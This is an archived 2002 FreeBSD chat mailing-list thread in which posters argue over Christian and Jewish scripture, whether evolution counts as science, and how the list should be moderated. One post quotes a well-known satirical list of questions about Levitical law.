2002 14:41:14 -0400 From: Joshua Lee To: Terry Lambert Cc: chat@freebsd.org Subject: Re: Why did evolution fail? Message-Id: <20020905144114.28314616.yid@softhome.net> In-Reply-To: <3D7789F9.E43917A7@mindspring.com> References: <20020904205814.U38687-100000@Tolstoy.home.lan> <3D7789F9.E43917A7@mindspring.com> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 05 Sep 2002 09:44:41 -0700 Terry Lambert wrote: > I said, "Me too! Are you reformed baptist church of god, > reformation of 1879, or reformed baptist church of god, reformation > of 1915?" > He said, "Reformed baptist church of god, reformation of 1915!" > I said, "Die, heretic scum", and pushed him off. I remember a similar skit about Emacs. It started with "Emacs or vi", then which major version of Emacs, then ended with one saying 19.xx and another 19.yy, and the declaration of heresy. :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 13: 7:55 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92AF237B400 for ; Thu, 5 Sep 2002 13:07:53 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id EC70E43E42 for ; Thu, 5 Sep 2002 13:07:52 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 23826 invoked by uid 417); 5 Sep 2002 20:07:47 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 5 Sep 2002 20:07:47 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Thu, 05 Sep 2002 14:07:45 -0600 Date: Thu, 5 Sep 2002 16:06:48 -0400 From: Joshua Lee To: Terry Lambert Cc: nwestfal@directvinternet.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020905160648.34011c2d.yid@softhome.net> In-Reply-To: <3D76EA00.CE74BED1@mindspring.com> References: <20020904021149.10d2e0f4.yid@softhome.net> <20020904120659.L88455-100000@Tolstoy.home.lan> <20020904234425.669b500a.yid@softhome.net> <3D76E44E.16950DD@mindspring.com> <20020905011425.7f22ac7d.yid@softhome.net> <3D76EA00.CE74BED1@mindspring.com> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 04 Sep 2002 22:22:08 -0700 Terry Lambert wrote: > "Where the world ceases to be the scene of our personal hopes > and wishes, where we face it as free beings, admiring, asking > and observing, there we enter the realm of Art and Science." > -- Albert Einstein Even when I disagree (I'm not sure if I do in this case, it depends upon how broadly one defines "personal") I find Einstein's essays inspirational. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 17: 4:22 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8D11637B400 for ; Thu, 5 Sep 2002 17:04:16 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id D675043E42 for ; Thu, 5 Sep 2002 17:04:15 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 21751 invoked by uid 417); 6 Sep 2002 00:04:10 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 6 Sep 2002 00:04:10 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Thu, 05 Sep 2002 18:03:26 -0600 Date: Thu, 5 Sep 2002 20:02:21 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: dave@jetcafe.org, tlambert2@mindspring.com, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020905200221.6d920659.yid@softhome.net> In-Reply-To: <20020904205814.U38687-100000@Tolstoy.home.lan> References: <20020904232446.0b55b1d5.yid@softhome.net> <20020904205814.U38687-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002 09:05:38 -0700 (PDT) "Neal E. Westfall" wrote: > On Wed, 4 Sep 2002, Joshua Lee wrote: > > On Wed, 4 Sep 2002 08:41:15 -0700 (PDT) > > "Neal E. Westfall" wrote: > > > > > Moreover, not just any supernaturalism will do. It must > > > > > provide the preconditions for rationality, ethics, science, > > > > > human dignity, freedom, intellectual disagreements, etc. > > > > > > > > Exactly. Judaism. What, that wasn't the religion you had in > > > > mind?;-) > > > > > > Which is why I said that not just any supernaturalism will do. > > > Old Testament Judaism is an aborted version of Christianity. > > > > Funny, I don't think the "OT" seemed to indicate that one is > > supposed to junk it at some point in the future in favor of > > worshiping the messiah. > > Neither do I. But to reject everything that the OT pointed forward > to is just as bad. I have a higher regard for the "OT" than you > seem to assume. I don't assume you have a low regard for the "OT", though your calling "OT Judaism" (a phrase meant to deligitimize existant Judaism) an "aborted version" of your religion doesn't sound like you think too highly of Judaism. > > > Orthodox Judaism repudiates the need for blood atonement and > > > redemption, which means man can never know if he is in a right > > > relationship with God. > > > > Orthodox Judaism does not repudiate the superiority of the Temple as > > a vehicle for inner repentance; we (I am an Orthodox Jew) pray every > > day for the Temple's restoration because of that. > > What you have failed to realize is that Christ is the true temple > of which the physical temple was only a shadow. This is the same Make up your mind, is he a temple, a god, or a messiah? Perhaps a Mithra? > error the pharisees made when they mistakenly thought that Jesus > was talking about the literal temple in John 2:19-22. How can a > temple built with human hands make atonement for sin? You didn't read what I said. I said a "vehicle" for "inner repentance". Without that inner repentance, which can be effectuated in all circumstances, the Temple was indeed useless. This is another New Testament misrepresentation of the Pharasiac position; of course this is not the only or the worst misrepresentatation of the Pharasees, of whom Orthodox Judaism is decendeded, in the New Testament. (The worst one of course is when it represents the Sanhedrin of the kind and holy Rabbis Hillel, Akiva, and Gamliel as having a secret trial to commit deicide.) > Since you mention Isaiah chapter 1, who is being referred to in verse > 4? Who is the "Holy One" of Israel that the people of Israel have > despised? G-d. "...they have forsaken Hashem; they have angered the Holy One of Israel, and have turned their back [to Him]" (Stone Edition Tanakh) That's a semicolon, not a period, and it's talking about apostacy in Isaiah's time (note the past tense), not a crucifiction. > Why does God say in verse 11, "I have had enough of burnt > offerings of rams And the fat of fed cattle; And I take no pleasure in > the blood of bulls, lambs or goats"? Because blood doesn't produce repentence, inner change does. In verse 11, it is repudiating the very theological issue of repentance through the blood of the sacrifices that you are aspousing. The solution? Not a better and more "complete" sacrifice of a human being, but "Learn to do good, seek justice, vindicate the victim, render justice to the orphan, take up the grievence of the widow." (Verse 17.) > What then *was* the purpose of > the temple sacrifices back in Leviticus? Were they not to teach the > Iraelites that without the shedding of blood, there can be no > remission of sins? (See Hebrews 9:22) Why does John the baptist > refer to Jesus as "the lamb of God who takes away the sins of the > world"? (John 1:29) Since those books aren't in my Tanakh (Bible) I don't consider your proofs by scripture convincing. > Moreover who is being referred to in the suffering servant passages > in Isaiah 53? Israel is the servent, as is clear when you read the long servant poem (without the chapter divisions introduced by medieval xtians) in context. (Chapter 44 for example.) The servent is a personification of Israel, who has gone through so much suffering that the nations consider him cursed and will be astonished when he is restored. > Who is the seed of the woman being referred to in > Genesis 3:15 when God addresses the serpent and says, "He shall bruise > you on the head, And you shall bruise him on the heel."? I'm afraid to ask. ;-) > > > Moreover, whether or not you agree that the particular religion I > > > propose is the One True Way, > > > > My religion is not the One True Way for non-Jews. (Hence the wink.) > > The righteous of the gentiles have a portion in the World to Come. I > > have no inepitus for forcing my beliefs down other's throats; such > > as the belief that god will torture for eternity anyone that isn't > > my religion. > > So why are you attacking what my religion teaches? Aren't you just I do not attack xtianity, it has done a lot of good in the world. If one is selling something to someone, however, one shouldn't be surprised if others offer reviews of the product. > being a little bit hypocritical? Do you think that Christians just > made up the doctrine of hell? Where do you think it came from? Did > it not come from the lips of Christ himself, who claimed to be your > Messiah? I don't care who's lips it came from, if it is not affirmed by the Oral and Written Torah of Moses and our sages we Jews don't believe in it. > Aren't you just trying to silence what you don't agree with? As usual, all evangelists view people disagreeing with them an offense against the first amendment. > Please accept my apologies for assuming you were a naturalist. But I am not insulted at all. > why is it that you find my posts so offensive in a public forum that > was expressly created for off-topic posts? And why do you deem my > views to be "militant"? You sir certainly seem to be engaging in a > "crusade" to silence what you disagree with. No, I just view it a little amusing that someone would go on a bible thumping crusade because of a word in a subject line. I don't believe that evolution is all that great either, but I'm not going on an evangelical crusade because of someone using it to refer to phenomena concerning moderating trolls on mailing lists. > > > A particular religion's cogence must be analyzed from an internal > > > perspective for coherence. > > > > Tertullian was at least honest when he said "credo quia absurdum > > est". > > In your humble opinion. Considering that he was a church father, in orthodox xtianity's humble opinion about itself. Of course that opinion changed, with lots of hand waving in order to make the change the same. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 17:10:38 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4113737B49D for ; Thu, 5 Sep 2002 17:10:29 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 688E843E6A for ; Thu, 5 Sep 2002 17:10:28 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 6669 invoked by uid 417); 6 Sep 2002 00:10:28 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 6 Sep 2002 00:10:28 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Thu, 05 Sep 2002 18:10:02 -0600 Date: Thu, 5 Sep 2002 20:08:49 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: tlambert2@mindspring.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020905200849.7af95707.yid@softhome.net> In-Reply-To: <20020905090556.D41451-100000@Tolstoy.home.lan> References: <20020904234425.669b500a.yid@softhome.net> <20020905090556.D41451-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002 09:14:11 -0700 (PDT) "Neal E. Westfall" wrote: > On Wed, 4 Sep 2002, Joshua Lee wrote: > > On Wed, 4 Sep 2002 12:14:08 -0700 (PDT) > > "Neal E. Westfall" wrote: > > > > > "Neal E. Westfall" wrote: > > > > > > You guys are quite amusing to read! The only thing you can > > > > > > agree on is your anemic prejudices against theology. > > > > > > > > Actually, we weren't talking much about theology until you took > > > > offense at the subject line. > > > > > > You misunderstand, sir. No offense taken. Just a friendly little > > > conversation. Evolution has certain implied theological > > > committments, however, so it seemed appropriate to "seize the > > > moment", if you will. > > > > Tellihard De Chardin seems to do a good job at being a theist of > > your stripe and accepting the theory of evolution at the same time; > > somewhat earlier, Chief Rabbi Abraham Isaac Kook seemed to > > Why is this relevant? Whether or not such and such evolutionist > identifies himself as a Christian, Jew, or anything else has little > to do with whether or not evolution is true, or philosophically > defensible. Moreover, I do not consider Teilhard De Chardin to be > a Christian. The Pope did. > You have to hold to a certain number of essential > beliefs before you have the right to call yourself a Christian. So much for your brand of supernaturalism being the only acceptable one because "it allows for intellectual disagreement". > Moreover, a theory evolution may be, but it certainly is not a > "scientific" theory. It is a way of looking at things. It could It is a way of *explaining* things. As such, it's a scientific theory; whether you or I like it or not. Personally I think that Behe has done some things to blow it out of the water, but I'm not going to distribute copies of the book of genesis in children's biology classes until there is a better *scientific* theory available. > promote it as "unscientific". It has all the earmarks and > dogmatism of a religion, so why not call a spade a spade? Lots of decent biology is done with it, some of which might be even used to lengthen your ingrate life. ;-) Believe it or not not everything that disagrees with a religion is a religion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 17:22:47 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5FEEF37B400 for ; Thu, 5 Sep 2002 17:22:41 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id DCF6643E65 for ; Thu, 5 Sep 2002 17:22:40 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 7038 invoked by uid 417); 6 Sep 2002 00:22:40 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 6 Sep 2002 00:22:40 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Thu, 05 Sep 2002 18:22:02 -0600 Date: Thu, 5 Sep 2002 20:20:34 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: chat@FreeBSD.ORG Subject: Re: Fw: Re: Why did evolution fail? Message-Id: <20020905202034.77ef17b3.yid@softhome.net> In-Reply-To: <20020905091446.R41451-100000@Tolstoy.home.lan> References: <20020905005747.1f5964a2.yid@softhome.net> <20020905091446.R41451-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002 09:25:35 -0700 (PDT) "Neal E. Westfall" wrote: > > Occam's razor is being used here to refute the cosmological > > argument; you're distorting things with this strawman. > > Nobody has even mentioned the cosmological argument until now, so > you are the one invoking a strawman. You are arguing about the creation of the universe neccesitating a creator, right? That's the cosmological argument. At least that's what they taught me in philosophy 101 class in college. > Why do you refer to God as "G-d"? According to Jewish law, the divine name cannot be used in print in a profane context. (Also pronounced in any context.) This is in Hebrew. A chumra of the Gaonim extends this to the vernacular. Of course, this doesn't count on a CRT according to recent rulings, but someone (even more foolish than us) might want to print this stuff out.... > > because, following the Breslover Rebbe, I believe that philosophy > > provides unanswerable questions from the part of the universe that > > appears as a void devoid of the devine presence; > > There is no part of the universe that is devoid of the divine > presence.(Psalm 139:7-12) I certainly agree. Note that I said "appears", I was trying to word things carefully. > Philosophical arguments are unavoidable. > The fact that philosophers have struggled with questions that still > remain unsolved is just one more piece of evidence that without God, > you can't prove anything. You can't prove anything *with* G-d either, at least not that simply. Isn't there a saying, for the atheist there are no answers, and for the religionist no questions? Of course, considering how many questions Jews tend to ask in debates ("learning b'chavrusa") during Talmud study perhaps this is not true. :-) > > than better. (This is not a "blind faith" position, it's important > > to examine as far as possible everything with the intellect, which > > is a better guide to what's good than the seat of emotions; but a > > man has got to know his limitations. :-) ) > > I think you are operating on a Thomistic notion of "faith". Faith > does not take over where reason leaves off. Faith is the foundation > of reason. Reasoning would not even be possible without faith. I > argue that only *Christian* faith can account for reason, but here I > suppose we disagree. Until you prove that through your faith you can reason better than the rest of us, a thesis very much in doubt, this statement is unsupportable. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 17:24:43 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 132E337B400 for ; Thu, 5 Sep 2002 17:24:42 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 77CB343E3B for ; Thu, 5 Sep 2002 17:24:41 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 11830 invoked by uid 417); 6 Sep 2002 00:24:41 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 6 Sep 2002 00:24:41 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Thu, 05 Sep 2002 18:24:24 -0600 Date: Thu, 5 Sep 2002 20:23:12 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: tlambert2@mindspring.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020905202312.162a6a63.yid@softhome.net> In-Reply-To: <20020905092804.S41451-100000@Tolstoy.home.lan> References: <20020905011425.7f22ac7d.yid@softhome.net> <20020905092804.S41451-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002 09:31:03 -0700 (PDT) "Neal E. Westfall" wrote: > On Thu, 5 Sep 2002, Joshua Lee wrote: > > "Truth" is not the realm of science, science is the art of > > describing repeated empherical observations with rational > > mathematics. :-) As such it is as theological as the computer > > program I am using to compose this message; though indeed some, > > mostly laymen, do try to make it into a pseudo-religion. (Compte > > being a case in point.) > > This is completely irrational. Truth comes to us both from general > revelation (the creation) and special revelation. All truth is God's > truth. See Psalm 19. Yes, but science isn't Truth. If you're looking for proofs, the math department is down the hall. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 17:35:53 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2BB2637B400 for ; Thu, 5 Sep 2002 17:35:48 -0700 (PDT) Received: from mta01-svc.ntlworld.com (mta01-svc.ntlworld.com [62.253.162.41]) by mx1.FreeBSD.org (Postfix) with ESMTP id 25B8943E4A for ; Thu, 5 Sep 2002 17:35:47 -0700 (PDT) (envelope-from george.reid1@ntlworld.com) Received: from sobek.lan ([80.6.30.227]) by mta01-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020906003545.OVFC25423.mta01-svc.ntlworld.com@sobek.lan>; Fri, 6 Sep 2002 01:35:45 +0100 Received: (from greid@localhost) by sobek.lan (8.11.6/8.11.6) id g860Zt642923; Fri, 6 Sep 2002 01:35:55 +0100 (BST) (envelope-from george.reid1@ntlworld.com) X-Authentication-Warning: sobek.lan: greid set sender to george.reid1@ntlworld.com using -f Date: Fri, 6 Sep 2002 01:35:55 +0100 From: George Reid To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, tlambert2@mindspring.com, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020906013554.A42842@FreeBSD.org> References: <20020904232446.0b55b1d5.yid@softhome.net> <20020904205814.U38687-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020904205814.U38687-100000@Tolstoy.home.lan>; from nwestfal@directvinternet.com on Thu, Sep 05, 2002 at 09:05:38AM -0700 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, Sep 05, 2002 at 09:05:38AM -0700, Neal E. Westfall wrote: [...] > Since you mention Isaiah chapter 1, who is being referred to in verse > 4? Who is the "Holy One" of Israel that the people of Israel have > despised? Why does God say in verse 11, "I have had enough of burnt > offerings of rams And the fat of fed cattle; And I take no pleasure in > the blood of bulls, lambs or goats"? What then *was* the purpose of > the temple sacrifices back in Leviticus? [...] To plagiarise a great work: a) When I burn a bull on the altar as a sacrifice, I know it creates a pleasing odor for the Lord (Lev 1:9). The problem is my neighbors. They claim the odor is not pleasing to them. Should I smite them? b) I would like to sell my daughter into slavery, as sanctioned in Exodus 21:7. In this day and age, what do you think would be a fair price for her? c) I know that I am allowed no contact with a woman while she is in her period of menstrual uncleanliness (Lev 15:19-24). The problem is, how do I tell? I have tried asking, but most women take offense. d) Lev. 25:44 states that I may indeed possess slaves, both male and female, provided they are purchased from neighboring nations. A friend of mine claims that this applies to the Welsh, but not the Scottish. Can you clarify? Why can't I own a Welsh person? e) I have a neighbor who insists on working on the Sabbath. Exodus 35:2 clearly states he should be put to death. Am I morally obligated to kill him myself? f) A friend of mine feels that even though eating shellfish is an Abomination (Lev 11:10), it is a lesser abomination than homosexuality. I don't agree. Can you settle this? g) Lev 21:20 states that I may not approach the altar of God if I have a defect in my sight. I have to admit that I wear reading glasses. Does my vision have to be 20/20, or is there some wiggle room here? h) Most of my male friends get their hair trimmed, including the hair around their temples, even though this is expressly forbidden by Lev 19:27. How should they die? i) I know from Lev 11:6-8 that touching the skin of a dead pig makes me unclean, but may I still play football if I wear gloves? j) My uncle has a farm. He violates Lev 19:19 by planting two different crops in the same field, as does his wife by wearing garments made of two different kinds of thread (cotton/polyester blend). He also tends to curse and blaspheme a lot. Is it really necessary that we go to all the trouble of getting the whole town together to stone them? (Lev 24:10-16) Couldn't we just burn them to death at a private family affair like we do with people who sleep with their in-laws? (Lev. 20:14) > So why are you attacking what my religion teaches? Aren't you just > being a little bit hypocritical? Do you think that Christians just > made up the doctrine of hell? Where do you think it came from? [...] The concept of "hell" is a very convenient mind-control tool. The early leaders of the Church were extremely wise to bring the doctrine onboard. However, the word "hell" occurs 53 times in the King James Bible (31 of these are in the Old Testament). These are a series of mistranslations which happened to suit the doctrine that the early Church wished to teach for its own purposes (indeed, as the above suited my own purposes) of "saving souls" (which, one would assume, is synonymous with "making money"). This was achieved by simply bludgeoning the ignorant population into acceptance based on the works of many educated but ultimately corrupt scholars. The myth of 'hell' is perpetuated through the ignorance of modern Christians (very few of whom read Greek and/or Hebrew) who are unwilling to accept the plain fact that it simply does not exist in the Bible. If you'd like to argue this point further please feel free to do so, citing passages in the 'original' (insofar as is possible) Greek or Hebrew, as appropriate. Bear in mind that I read both languages so your arguments had better be both logically watertight and correct within a historical context. Please note that I will not accept any passages from either the Latin Vulgate or a Bible written in any modern language as proof of any claims you may choose to make due to the errancy of translation. Also, please forgive me for any delay in response: I don't have a great deal of free time at the moment but I will attempt to reply as soon as is possible for me. -- George C A Reid WWW: http://people.FreeBSD.org/~greid/ Mob: (07740) 197460 FreeBSD Committer/Developer greid@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 18: 6:46 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CA6C237B400 for ; Thu, 5 Sep 2002 18:06:19 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 302D943E6E for ; Thu, 5 Sep 2002 18:06:19 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g8616H197913; Thu, 5 Sep 2002 18:06:17 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060106.g8616H197913@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 18:06:12 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > The environment is an actor, in this case. >> >> Never is the environment an actor. > > I dare you to live in a mobile home in "Tornado Alley". 8-). I live in California, thank you, and I'm not leaving anytime soon. ;) >> Of course not, for you believe it to work and it does...for you. >> It's impossible for strict rationalists to see that as they are >> "convinced" of something, it becomes real to them. They think they >> are perceiving the "true reality", when all they are doing is making >> their reality agree with how they are convinced it works. > > I think you are projecting your own faith. A tautology, given the above. >> >> The charter is an attempt to classify posts. I claim posts defy >> >> classification except for trivial cases. >> > >> > I claim that posts which defy classification are outside the >> > charter, unless they are explicitly included within it. 8-). >> >> I claim that posts which defy classification are INside the >> charter, unless they are explicitly EXcluded from it. =P > > I hereby exclude all posts which defy classification. 8-). That is how a moderator stifles communication into stagnicity. >> > On the other hand, you are not offering a definitive solution to >> > the problem, which is less prone to abuse, and which does not >> > transfer the onus of extra work onto the reader. >> >> Even if I offered one, you would not let it be one. > > It's not a matter of will. It's a matter of mechanics. As you believe, so shall it be. > Either the system functions as designed, or it's not a correct > system. What was nature designed for? >> > This is an onus which you, yourself, admitted that even avowed >> > fanatics (like yourself ;^)) have a very hard time implementing >> > effectively. It's an unworkable "solution". >> >> But it doesn't bug me like it bugs you. It's not a problem to me, >> until it results in moderation, which is a problem in itself. > > But we aren't talking about just you. We have to include your > friend Tim, and people like them Yes and you are suggesting catering to them and not people like me. > (if we are picking teams, and you pick "trolls" for your side, that > leaves me with the last guy tanding as a defacto pick). I can assure you my first picks would be people who have demonstrated tolerance and sense in handling mailing list traffic. >> >> Yet I don't worship that religion. ;) >> > >> > It's still not a religion, >> >> Yes it is. > > If *you* treat it as such, then maybe it is, *for you*. Yes, and since you are ultimately a figment of my imagination, it is for you too. |) >> > and repeating endlessly the accusation will not make it one. >> >> True, yet berating the accusation as an endless repetition will not >> make it -not- one. > > Barring evidence to the contrary, the simplest explanation is > the correct one. That's arbitrary. You might as well flip a coin. >> >> More to the point, you are unwilling to -consider- the idea and >> >> investigate it futher. You merely dismiss it with a wave of your >> >> "invalid" hand. This is not unlike the scientists I have been >> >> around. >> > >> > Hardly. This issue was covered in great detail during my analytical >> > mechanics course's section on accoustics, and again, in a class on >> > information theory. The Lorentz transformation was covered in gory >> > detail in my modern physics course. >> >> You've verified each and every one of these "issues", that you >> do not have false data? > > I've verified certain of them; the key ones that I could not > accept without my own observation. But there were those that you could accept and so just accepted? >> > It is really only proper to analogize when the mathematical >> > representations of the situations in question, when stripped >> > of their units, end up with the same mathematical descriptions. >> >> I claim this is just fancy justifia for your not being willing to >> consider something that contradicts your tenets of reality. Hence, >> as I see it, you aren't really a critical thinker. > > I have absolutely no problem considering evidence that contradicts > my tenets of reality. IF you present some, I will consider it. Ah, so you will accept only datum which you can label as "evidence". So your "blinders" are achieved by labelling something as "not-evidence". >> It's this kind of out-of-hand dismissing which is why I consider >> science a religion, and why I think I'm hangin with the right peeps. > I'm not dismissing it out of hand; I am dismissing it after grave > consideration. That you don't like the outcome doesn't belittle > the effort. I can't belittle the effort, I haven't seen any. I have seen the dismissal. >> >> Assume there must be a good reason someone denied read privleges >> >> and exit with an error message to that effect. =) >> > >> > I haven't given enough information about the problem space for >> > you to conclude that that's the correct answer. That's *an* >> > answer, but it's not necessarily *the* answer. >> >> There is no "the" answer. The assumption that a "the" answer must >> exist and conform to some arbitrary standard is what makes a religion. > > Yes, there is. There's the specification. The program conforms > to the specification, or it does not. It's a nice binary line. When you constrain and restrict the problem and the specification enough, you can get these nice binary lines. This doesn't always happen in practice. >> I use quotes to refrain from getting into "semantical" arguments about >> what something really "meant", particularly with people that "presume" >> there is only one "meaning" to every word or phrase. ;) > > Use agreed upon meanings, and you won't have this problem. Just where do you find a definitive source on these? Is agreement by majority consensus or by consensus of some arbitrary group of cognoscenti? >> It's not worth it. I'll just have to wait until some aspect of the >> real world that you can't model comes up and smacks you over the head. > > Don't hold your breath. 8-). I won't, the universe is slow but inexorable. ;) >> >> I observe that people 